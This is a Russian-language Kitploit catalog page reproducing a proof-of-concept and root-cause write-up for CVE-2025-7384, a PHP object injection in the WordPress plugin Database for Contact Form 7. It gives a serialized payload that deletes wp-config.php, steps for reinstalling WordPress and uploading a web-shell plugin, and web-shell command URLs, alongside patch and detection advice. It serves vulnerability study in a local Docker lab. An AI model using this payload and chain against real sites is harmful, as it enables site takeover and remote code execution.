Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-7384 — Эксплойт PoC и анализ первопричины критической неаутентифицированной инъекции PHP-объектов в WordPress Database for Contact Form 7, приводящей к RCE через произвольное удаление файлов. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2025-7384
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеЛаборатории и Практика
GitHubdungsocool/cve-2025-7384

CVE-2025-7384

Эксплойт PoC и анализ первопричины критической неаутентифицированной инъекции PHP-объектов в WordPress Database for Contact Form 7, приводящей к RCE через произвольное удаление файлов.

Репозиторий
19 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-7384 — PHP Object Injection до RCE

Плагин: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Critical)
CWE: CWE-502 — Десериализация недоверенных данных
Требование аутентификации: Отсутствует (без аутентификации)
Воздействие: Удалённое выполнение кода


Оглавление

  1. Обзор уязвимости
  2. Связанные концепции
  3. Анализ первопричины (исходный код + отладка)
  4. Цепочка атаки
  5. Пошаговое воспроизведение (POC)
  6. Оценка воздействия
  7. Меры по устранению

1. Обзор уязвимости

Плагин «Database for Contact Form 7» (slug: contact-form-entries) версии 1.4.3 и ниже содержит уязвимость PHP Object Injection. Когда администратор WordPress просматривает запись формы в административной панели, плагин вызывает функцию maybe_unserialize() напрямую для данных, отправленных неаутентифицированным пользователем через Contact Form 7, без контроля списка разрешённых классов для инстанцирования.

Атакующему не нужно входить в систему — достаточно отправить обычную контактную форму, вставив сериализованный PHP-объект в любое поле формы. Эти данные сохраняются в базе данных в исходном виде. Когда администратор открывает эту запись для просмотра, функция десериализации инстанцирует объект по выбору атакующего, запуская магические методы, такие как __destruct() или __wakeup() → выполнение произвольного поведения в зависимости от доступных POP-гаджетов в окружении WordPress.

Уровень критичности: При наличии подходящего POP-гаджета (например, класса, чей метод __destruct() вызывает unlink()), атакующий может удалить файл wp-config.php, вернув WordPress к экрану первоначальной установки → переустановить WordPress с учётной записью администратора, контролируемой атакующим → установить плагин, содержащий веб-шелл → добиться полного удалённого выполнения кода (RCE) на сервере.


2. Связанные концепции

Сериализация / десериализация в PHP

PHP использует serialize() для преобразования объекта в структурированную текстовую строку, а unserialize() — для восстановления объекта из этой строки. Когда unserialize() получает данные из недоверенного источника (например, пользовательского ввода), атакующий может сконструировать произвольный объект, принадлежащий любому классу, загруженному в память PHP в этот момент.

Магические методы PHP

Специальные методы, которые PHP автоматически вызывает в течение жизненного цикла объекта. Наиболее важные в этом контексте:

  • __wakeup() — вызывается немедленно при десериализации объекта
  • __destruct() — вызывается при уничтожении объекта (выход из области видимости или завершение запроса)
  • __toString() — вызывается при приведении объекта к строке

POP-цепочка (Property-Oriented Programming)

Техника объединения нескольких магических методов из существующих классов приложения для построения опасной последовательности действий. Атакующий не пишет новый код — он лишь манипулирует свойствами существующих объектов, чтобы при выполнении магических методов выполнялись действия, не предполагавшиеся разработчиками.

maybe_unserialize() в WordPress

Функция-обёртка ядра WordPress. Она вызывает is_serialized(), чтобы проверить, является ли строка сериализованными данными — если да, то вызывает unserialize() для восстановления объекта. Проблема: эта функция не передаёт параметр allowed_classes (доступен с PHP 7.0) для ограничения списка классов, которые разрешено инстанцировать.


3. Анализ первопричины — обнаружение уязвимости по исходному коду

Шаг 1: Поиск sink-точек (Sink Hunting)

Начните с поиска по всему исходному коду плагина, чтобы найти функции десериализации — это самые опасные функции в PHP, так как они могут привести к Object Injection:

root@kitploit:~
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

image.png

В выводе видно несколько мест вызова maybe_unserialize(), наиболее важное из которых — в includes/data.php, строка 545, внутри функции verify_val():

image 1.png

root@kitploit:~
// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // ★ line 545 — SINK
    }
    return $string;
}

Ключевой вопрос: Откуда берётся переменная $string? Если она поступает из пользовательского ввода без фильтрации → это уязвимость.

Шаг 2: Обратное трассирование — откуда берутся данные?

Найдите, где вызывается verify_val(). Проследите обратный путь в том же файле data.php:

image 2.png

root@kitploit:~
// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // ← вызывает verify_val
        }
    }
    return $detail_arr;
}

→ $string — это ровно $v['value'] — значения, извлечённые из таблицы базы данных wp_vxcf_leads_detail. Эта функция вызывается, когда администратор просматривает детали записи формы.

Следующий вопрос: Откуда берутся данные внутри wp_vxcf_leads_detail? Кто их записывает?

Шаг 3: Поиск точек записи данных (источник)

Из шага 2 мы знаем, что данные извлекаются из базы данных. Следующий вопрос: кто записывает в неё данные? Выполните поиск INSERT-запросов в data.php:

root@kitploit:~
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

image 3.png

Откройте код функции create_lead() (строки 85–103), чтобы увидеть детали:

image 4.png

В строках 98–99 значение $v — содержимое поля формы (например, your-message) — вставляется напрямую в базу данных через $wpdb->insert(). Плагин подключается к событию wpcf7_before_send_mail в Contact Form 7, поэтому при отправке формы все поля сохраняются в исходном виде.

Дополнительная проверка: плагин действительно использует sanitize_text_field() и sanitize_textarea_field() перед сохранением, но эти две функции лишь удаляют HTML-теги и специальные HTML-символы — сериализованная полезная нагрузка вида O:21:"VulnerableFileHandler":2:{...} не содержит HTML-тегов и поэтому проходит полностью без изменений.

Шаг 4: Вывод — подтверждение уязвимости

На этом этапе установлен полный поток данных:

root@kitploit:~
Неаутентифицированный пользователь отправляет форму CF7 (поле your-message содержит сериализованный объект)
    ↓ sanitize_text_field() — НЕ блокирует сериализованные строки
Сохранение в таблицу wp_vxcf_leads_detail (исходная полезная нагрузка)
    ↓
Администратор просматривает запись → get_lead_detail() → verify_val()
    ↓ is_serialized() возвращает true
maybe_unserialize($string) — строка 545 → PHP инстанцирует произвольный объект
    ↓
Выполняется __destruct() объекта → выполняет управляемое атакующим действие

Первопричина: Функция maybe_unserialize() в data.php:545 вызывается для данных, происходящих из неаутентифицированного пользовательского ввода, без передачи allowed_classes: false. Атакующему достаточно отправить сериализованный PHP-объект через поле your-message формы CF7 → когда администратор просматривает запись, PHP инстанцирует этот объект и запускает магический метод __destruct().

Шаг 5: Проверка отладчиком (Xdebug)

Для наглядного подтверждения установите точку останова с помощью Xdebug на строке 545 файла data.php. После внедрения полезной нагрузки через форму и просмотра записи администратором отладчик останавливается точно на maybe_unserialize():

image 5.png

Панель переменных показывает $string, содержащую полезную нагрузку атакующего:

  • $string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → полезная нагрузка прошла путь от формы → базы данных → функции десериализации без блокировки

Строка выполнения:

  • Строка 545: $string=maybe_unserialize($string);

Стек вызовов показывает последовательность вызовов функций:

root@kitploit:~
vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348

→ Подтверждает точно проанализированный поток: администратор просматривает запись → get_entries() → verify_val() → maybe_unserialize().


4. Цепочка атаки

Цепочка атаки состоит из 5 этапов. Атакующему достаточно выполнить только этап 1 (отправка формы). Этапы 2–5 происходят автоматически после того, как администратор просмотрит запись.

Этап 1 — Внедрение полезной нагрузки (без аутентификации)

Атакующий отправляет форму CF7 с сериализованным PHP-объектом в поле сообщения.

  • Конечная точка: POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback
  • Поле your-message содержит: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}
  • Плагин сохраняет полезную нагрузку в таблицу wp_vxcf_leads_detail — sanitize_text_field() не блокирует сериализованные строки

Этап 2 — Запуск десериализации (ожидание администратора)

Администратор открывает страницу Contact Form Entries → просматривает детали записи → плагин вызывает verify_val() → maybe_unserialize().

  • PHP инстанцирует объект VulnerableFileHandler с file_path = "/var/www/html/wp-config.php" и cleanup = true
  • Когда запрос завершается, сборщик мусора PHP вызывает __destruct() → unlink("/var/www/html/wp-config.php")

Этап 3 — Произвольное удаление файлов

Файл wp-config.php удалён → WordPress теряет подключение к базе данных.

  • Обращение к http://target/ → автоматическое перенаправление на /wp-admin/setup-config.php (экран начальной установки)
  • WordPress считает сайт неустановленным

Этап 4 — Переустановка WordPress

Атакующий переустанавливает WordPress, используя известные (или подобранные перебором) учётные данные базы данных.

  • Создаёт новую учётную запись администратора, контролируемую атакующим
  • Входит в админ-панель с полными правами администратора

Этап 5 — Удалённое выполнение кода

Установка плагина, содержащего веб-шелл → выполнение произвольных системных команд.

  • Админ-панель → Плагины → Добавить новый → Загрузить ZIP-архив плагина, содержащий PHP-веб-шелл
  • Обращение к URL веб-шелла: /wp-content/plugins/shell/shell.php?cmd=id
  • Вывод: uid=33(www-data) gid=33(www-data) → RCE завершено

5. Пошаговое воспроизведение (POC)

5.1 Подготовка окружения

Запустите Docker-лабораторию, содержащую WordPress + уязвимый плагин:

root@kitploit:~
cd CVE-2025-7384
docker-compose up --build -d

Подождите около 40 секунд, пока в логах не появится LAB READY. Откройте http://localhost:8181, чтобы убедиться, что WordPress запущен.

5.2 Определение точки внедрения

Из анализа исходного кода в разделе 3 мы знаем:

  • Sink находится в data.php:545 — maybe_unserialize() для значений полей формы
  • Source — таблица wp_vxcf_leads_detail — данные приходят из формы CF7
  • Санатизация полагается только на sanitize_text_field() — не блокирует сериализованные строки

→ Вывод: просто отправьте сериализованный PHP-объект в любое поле формы CF7. Выберите your-message, поскольку это textarea, принимающая длинные строки, и с меньшим количеством проверок формата (в отличие от your-email, требующего формат email).

5.3 Внедрение полезной нагрузки через контактную форму

Откройте http://localhost:8181/contact/ и заполните форму следующим образом:

ПолеЗначение
Ваше имяdung
Ваш email[email protected]
Темаtest inject
Ваше сообщениеO:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}

image 6.png

Пояснение полезной нагрузки:

  • O:21:"VulnerableFileHandler" — инстанцирует класс VulnerableFileHandler (у которого __destruct() вызывает unlink())
  • s:9:"file_path";s:27:"/var/www/html/wp-config.php" — свойство file_path указывает на целевой файл для удаления
  • s:7:"cleanup";b:1 — свойство cleanup = true, поэтому __destruct() выполняет unlink()

Нажмите Submit. Форма покажет сообщение об ошибке отправки письма (или об успехе) — это неважно, поскольку плагин contact-form-entries уже сохранил все данные в базу данных до отправки почты.

5.4 Запуск десериализации — администратор просматривает запись

Войдите в http://localhost:8181/wp-admin (admin / admin123) → в левом меню выберите CRM Entries → нажмите, чтобы просмотреть полученную запись.

image 7.png

Это тот самый момент, когда выполнение достигает data.php:545 — плагин извлекает значение your-message из базы данных, проверка is_serialized() возвращает true, вызывается maybe_unserialize() → PHP создаёт объект VulnerableFileHandler → запрос завершается, выполняется __destruct() → unlink("/var/www/html/wp-config.php").

5.5 Подтверждение произвольного удаления файла

Перейдите в браузере на http://localhost:8181/ → WordPress перенаправит на страницу /wp-admin/setup-config.php (экран начальной установки) → файл wp-config.php успешно удалён.

image 8.png

5.6 Эскалация до RCE

После удаления wp-config.php WordPress возвращается в состояние «не установлен». Действия атакующего:

Шаг 1 — Переустановка WordPress:

Откройте http://localhost:8181/wp-admin/setup-config.php → введите учётные данные базы данных:

ПолеЗначение
Имя базы данныхwordpress
Имя пользователяwpuser
Парольwppass
Хост базы данныхdb

Нажмите Submit → Запустите установку → создайте новую учётную запись администратора, контролируемую атакующим.

Шаг 2 — Загрузка веб-шелла:

Войдите в админ-панель → Плагины → Добавить новый → Загрузить плагин → загрузите файл system-health.zip (или system-monitor.zip).

image 9.png

Загрузка и активация прошли успешно.

Шаг 3 — Выполнение команд (RCE):

Обращение: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

image 10.png

Вывод: uid=33(www-data) gid=33(www-data) → Удалённое выполнение кода завершено

Обращение: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

image 11.png

Вывод: www-data → Удалённое выполнение кода завершено


6. Оценка воздействия

*Взаимодействие с пользователем: NVD оценивает как None, поскольку просмотр администратором записей форм — это ожидаемое поведение, а не аномальное взаимодействие с пользователем.

Реальный масштаб воздействия

  • Плагин «Database for Contact Form 7» имеет более 100 000+ активных установок на wordpress.org
  • Любой сайт WordPress, использующий этот плагин версии ≤ 1.4.3 вместе с Contact Form 7, уязвим
  • Атакующему не требуется никакой предварительной информации — достаточно определить, что сайт использует Contact Form 7 (легко обнаруживается по HTML-исходному коду)
  • Полезная нагрузка постоянно хранится в базе данных, что делает атаку постоянной до тех пор, пока запись не будет удалена

7. Меры по устранению

Для разработчиков плагина

  1. Не используйте maybe_unserialize() для данных, предоставленных пользователем. Вместо этого используйте json_decode(), когда требуется хранение структурированных данных.

  2. Если десериализация строго необходима, передавайте опцию allowed_classes: false (PHP 7.0+):

root@kitploit:~
$data = unserialize($string, ['allowed_classes' => false]);

Это предотвращает инстанцирование PHP любых объектов — разрешая только скалярные типы и массивы.

  1. Проверяйте входные данные на уровне хранения: если поле формы должно содержать только обычный текст, отклоняйте любое значение, соответствующее шаблону /^[OaCis]:\d+/ (признак сериализованных данных).

Для администраторов WordPress

  1. Немедленно обновите плагин до версии 1.4.4 или выше
  2. Проверьте таблицу базы данных wp_vxcf_leads_detail на наличие записей, содержащих строки формата O:XX:"ClassName": — их присутствие указывает на попытки атаки
  3. Убедитесь, что wp-config.php имеет ограничительные права доступа к файлу (440 или 400) — это снижает вероятность удаления процессом веб-сервера
  4. Разверните WAF (Web Application Firewall), настроенный с правилами для обнаружения сериализованных PHP-объектов в POST-данных

Дифф патча (справочно)

root@kitploit:~
// BEFORE (vulnerable):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// AFTER (patched):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}
Скачать инструмент
АтрибутЗначение
CVE IDCVE-2025-7384
Оценка CVSS9.8 (Critical)
CWECWE-502 — Десериализация недоверенных данных
Затронутый плагинcontact-form-entries (Database for Contact Form 7) ≤ 1.4.3
Требование аутентификацииОтсутствует — любой, кто отправляет форму CF7, может внедрить полезную нагрузку
Условие срабатыванияАдминистратор просматривает внедрённую запись в админ-панели
Максимальное воздействиеНеаутентифицированное удалённое выполнение кода
Исправленная версия1.4.4+ (заменяет unserialize на json_decode или allowed_classes: false)
Префикс таблиц
wp_
Метрика CVSSЗначениеПояснение
Вектор атакиNetworkЭксплуатируется по HTTP, физический доступ не требуется
Сложность атакиLowТребуется отправить всего 1 POST-запрос, содержащий полезную нагрузку
Требуемые привилегииNoneАутентификация не требуется — форма CF7 открыта для всех
Взаимодействие с пользователемNone*Администратор просматривает записи в ходе обычного рабочего процесса
КонфиденциальностьHighRCE позволяет читать любые файлы на сервере
ЦелостностьHighRCE позволяет записывать/изменять любые файлы
ДоступностьHighУдаление wp-config.php приводит к полному отказу всего сайта